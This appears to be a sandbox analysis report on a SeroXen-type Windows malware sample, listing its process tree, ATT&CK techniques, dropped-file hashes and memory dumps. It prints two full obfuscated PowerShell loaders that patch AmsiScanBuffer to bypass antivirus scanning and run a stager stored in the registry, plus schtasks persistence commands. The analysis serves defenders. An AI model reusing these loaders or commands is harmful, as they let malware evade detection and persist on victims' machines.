@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$imWoTiUEIEq=$sSXpmGKDqkcdG.GetMethod(''+'G'+'e'+[Char](116)+''+'M'+'o'+'d'+'ul'+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+'l'+[Char](51)+''+'2'+'.dl'+'l'+'')));$hYtChpYdhtFjcQ=$WdONwZqliAuNjM.Invoke($Null,@([Object]$imWoTiUEIEq,[Object]('L'+[Char](111)+'a'+[Char](100)+'L'+'i'+''+'b'+''+'r'+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$PbtnTPXoxPYRHjNnc=$WdONwZqliAuNjM.Invoke($Null,@([Object]$imWoTiUEIEq,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+'u'+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+'c'+[Char](116)+'')));$pxfbWkl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hYtChpYdhtFjcQ,$ywuojGpUVJUDNGQrjNZ).Invoke('a'+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$gxpUVcPkgLFCBYdMf=$WdONwZqliAuNjM.Invoke($Null,@([Object]$pxfbWkl,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+[Char](99)+'an'+'B'+'u'+[Char](102)+''+[Char](102)+''+'e'+'r')));$EXJJCSpYOv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PbtnTPXoxPYRHjNnc,$MQffEiWUEZmFwEIgNVPpRJ).Invoke($gxpUVcPkgLFCBYdMf,[uint32]8,4,[ref]$EXJJCSpYOv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$gxpUVcPkgLFCBYdMf,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PbtnTPXoxPYRHjNnc,$MQffEiWUEZmFwEIgNVPpRJ).Invoke($gxpUVcPkgLFCBYdMf,[uint32]8,0x20,[ref]$EXJJCSpYOv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+'7'+[Char](55)+''+[Char](115)+''+[Char](116)+'age'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1004

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:3300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WgClHolYQirx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wlXJnoTNYVBtgU,[Parameter(Position=1)][Type]$npSrcuHCdB)$nLrHJWSMiVP=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+'ct'+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+'mo'+'r'+''+'y'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+'e'+'le'+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'T'+'y'+''+[Char](112)+''+'e'+'',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$nLrHJWSMiVP.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+'N'+'a'+''+[Char](109)+''+'e'+''+','+''+'H'+'i'+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+'ub'+'l'+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$wlXJnoTNYVBtgU).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$nLrHJWSMiVP.DefineMethod('In'+[Char](118)+''+'o'+''+'k'+'e',''+[Char](80)+'u'+[Char](98)+'l'+'i'+'c'+','+''+'H'+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+'Si'+'g'+''+','+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+'ot'+','+''+'V'+'i'+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$npSrcuHCdB,$wlXJnoTNYVBtgU).SetImplementationFlags(''+[Char](82)+''+'u'+'nt'+[Char](105)+''+[Char](109)+''+'e'+','+[Char](77)+''+[Char](97)+''+[Char](110)+'ag'+'e'+''+[Char](100)+'');Write-Output $nLrHJWSMiVP.CreateType();}$mXVdLREoyZtbO=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+'o'+[Char](102)+'t'+'.'+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+'U'+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+[Char](78)+'a'+[Char](116)+'iv'+[Char](101)+''+'M'+'e'+[Char](116)+''+[Char](104)+''+'o'+'d'+[Char](115)+'');$XUmJqNPSBpACnj=$mXVdLREoyZtbO.GetMethod(''+'G'+'et'+'P'+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+'u'+''+'b'+'l'+'i'+'c'+[Char](44)+'S'+'t'+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WYkdIQgaJRzrZKfjvmb=WgClHolYQirx @([String])([IntPtr]);$gPqWBpLsllJoHhhVSnOgur=WgClHolYQirx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ybSnmbaprXS=$mXVdLREoyZtbO.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'M'+[Char](111)+'du'+[Char](108)+''+[Char](101)+''+'H'+''+'a'+'n'+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+'el'+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')));$fwoAHotVEDVJVD=$XUmJqNPSBpACnj.Invoke($Null,@([Object]$ybSnmbaprXS,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+'b'+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$EhegCRJyuyxhFuOzB=$XUmJqNPSBpACnj.Invoke($Null,@([Object]$ybSnmbaprXS,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+'e'+'ct')));$QqcQxit=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fwoAHotVEDVJVD,$WYkdIQgaJRzrZKfjvmb).Invoke(''+'a'+''+[Char](109)+'s'+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$hQqhhBfMMubMaSawb=$XUmJqNPSBpACnj.Invoke($Null,@([Object]$QqcQxit,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$kiEZdEIeqw=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EhegCRJyuyxhFuOzB,$gPqWBpLsllJoHhhVSnOgur).Invoke($hQqhhBfMMubMaSawb,[uint32]8,4,[ref]$kiEZdEIeqw);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hQqhhBfMMubMaSawb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EhegCRJyuyxhFuOzB,$gPqWBpLsllJoHhhVSnOgur).Invoke($hQqhhBfMMubMaSawb,[uint32]8,0x20,[ref]$kiEZdEIeqw);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+'RE').GetValue('$'+[Char](55)+'7'+[Char](115)+''+[Char](116)+'a'+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2060

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1388

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:3068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1672

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2296

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2592

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2640

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1028

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2600

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3316

C:\Users\Admin\AppData\Local\Temp\Uni.exe
"C:\Users\Admin\AppData\Local\Temp\Uni.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2968

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:1684

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2076

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:1116

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
4⤵
- Executes dropped EXE
PID:3152

C:\Users\Admin\AppData\Local\Temp\t0AgLtCPSbAg.exe
"C:\Users\Admin\AppData\Local\Temp\t0AgLtCPSbAg.exe"
4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
PID:2288

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:552

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3484

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3828

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3892

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3972

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2180

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1548

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1896

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2888

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3680

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4160

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1504

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:4900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Pre-OS Boot

1

T1542

Bootkit

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Pre-OS Boot

1

T1542

Bootkit

1

T1542.003

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\t0AgLtCPSbAg.exe

Filesize
225KB

MD5
af2379cc4d607a45ac44d62135fb7015

SHA1
39b6d40906c7f7f080e6befa93324dddadcbd9fa

SHA256
26b4699a7b9eeb16e76305d843d4ab05e94d43f3201436927e13b3ebafa90739

SHA512
69899c47d0b15f92980f79517384e83373242e045ca696c6e8f930ff6454219bf609e0d84c2f91d25dfd5ef3c28c9e099c4a3a918206e957be806a1c2e0d3e99

Download Submit
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe

Filesize
409KB

MD5
4c2bb0618a6eda615c8001d5a7ccd6c0

SHA1
c88d2c8bfc5906a5cfef78893d1132edcffd71f0

SHA256
abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6

SHA512
6abe53339656a023e2a0547f1c2249789c33091d67a21f2e689c6411dc5357e34ec3c65634b6f6955a5023d20803f7c746b13f574bcd84b008abb4a97ea61027

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_vt02eof4.lme.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
bb7d9cd87343b2c81c21c7b27e6ab694

SHA1
27475110d09f1fc948f1d5ecf3e41aba752401fd

SHA256
b06963546e5a36237a9061b369789ebdfc6578c4adfbb3ad425a623ffd2518df

SHA512
bf6e222412df3e8fb28fbdd2247628b85ed5087d7be94fa77577a45d02c5f929f20d572867616f1761c86a81e0769d63be5a4e737975c7e7ebc2ef9dccae9a0b

Download Submit
memory/432-103-0x000002806DA90000-0x000002806DABB000-memory.dmp

Filesize
172KB

Download
memory/436-92-0x0000018F9F710000-0x0000018F9F73B000-memory.dmp

Filesize
172KB

Download
memory/436-98-0x0000018F9F710000-0x0000018F9F73B000-memory.dmp

Filesize
172KB

Download
memory/436-99-0x00007FFBF51D0000-0x00007FFBF51E0000-memory.dmp

Filesize
64KB

Download
memory/624-58-0x0000026600110000-0x000002660013B000-memory.dmp

Filesize
172KB

Download
memory/624-57-0x00000266000E0000-0x0000026600105000-memory.dmp

Filesize
148KB

Download
memory/624-59-0x0000026600110000-0x000002660013B000-memory.dmp

Filesize
172KB

Download
memory/624-65-0x0000026600110000-0x000002660013B000-memory.dmp

Filesize
172KB

Download
memory/624-66-0x00007FFBF51D0000-0x00007FFBF51E0000-memory.dmp

Filesize
64KB

Download
memory/680-70-0x0000022B588E0000-0x0000022B5890B000-memory.dmp

Filesize
172KB

Download
memory/680-76-0x0000022B588E0000-0x0000022B5890B000-memory.dmp

Filesize
172KB

Download
memory/680-77-0x00007FFBF51D0000-0x00007FFBF51E0000-memory.dmp

Filesize
64KB

Download
memory/980-87-0x0000019A60890000-0x0000019A608BB000-memory.dmp

Filesize
172KB

Download
memory/980-81-0x0000019A60890000-0x0000019A608BB000-memory.dmp

Filesize
172KB

Download
memory/980-88-0x00007FFBF51D0000-0x00007FFBF51E0000-memory.dmp

Filesize
64KB

Download
memory/1004-45-0x00007FFC33DB0000-0x00007FFC33E6D000-memory.dmp

Filesize
756KB

Download
memory/1004-29-0x000002797EDB0000-0x000002797EDD2000-memory.dmp

Filesize
136KB

Download
memory/1004-43-0x000002797F150000-0x000002797F17A000-memory.dmp

Filesize
168KB

Download
memory/1004-44-0x00007FFC35140000-0x00007FFC35349000-memory.dmp

Filesize
2.0MB

Download
memory/1844-49-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1844-54-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1844-47-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1844-48-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1844-52-0x00007FFC35140000-0x00007FFC35349000-memory.dmp

Filesize
2.0MB

Download
memory/1844-46-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1844-53-0x00007FFC33DB0000-0x00007FFC33E6D000-memory.dmp

Filesize
756KB

Download
memory/1844-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2076-14-0x00000000743E0000-0x0000000074B91000-memory.dmp

Filesize
7.7MB

Download
memory/2076-34-0x0000000007250000-0x000000000725A000-memory.dmp

Filesize
40KB

Download
memory/2076-1333-0x00000000743E0000-0x0000000074B91000-memory.dmp

Filesize
7.7MB

Download
memory/2076-1332-0x00000000743E0000-0x0000000074B91000-memory.dmp

Filesize
7.7MB

Download
memory/2076-13-0x00000000743E0000-0x0000000074B91000-memory.dmp

Filesize
7.7MB

Download
memory/2968-20-0x00000000743E0000-0x0000000074B91000-memory.dmp

Filesize
7.7MB

Download
memory/2968-4-0x00000000743E0000-0x0000000074B91000-memory.dmp

Filesize
7.7MB

Download
memory/2968-6-0x0000000005300000-0x0000000005312000-memory.dmp

Filesize
72KB

Download
memory/2968-0-0x00000000743EE000-0x00000000743EF000-memory.dmp

Filesize
4KB

Download
memory/2968-3-0x0000000004DF0000-0x0000000004E82000-memory.dmp

Filesize
584KB

Download
memory/2968-2-0x00000000053A0000-0x0000000005946000-memory.dmp

Filesize
5.6MB

Download
memory/2968-5-0x0000000004E90000-0x0000000004EF6000-memory.dmp

Filesize
408KB

Download
memory/2968-7-0x0000000005FE0000-0x000000000601C000-memory.dmp

Filesize
240KB

Download
memory/2968-1-0x0000000000390000-0x00000000003FC000-memory.dmp

Filesize
432KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads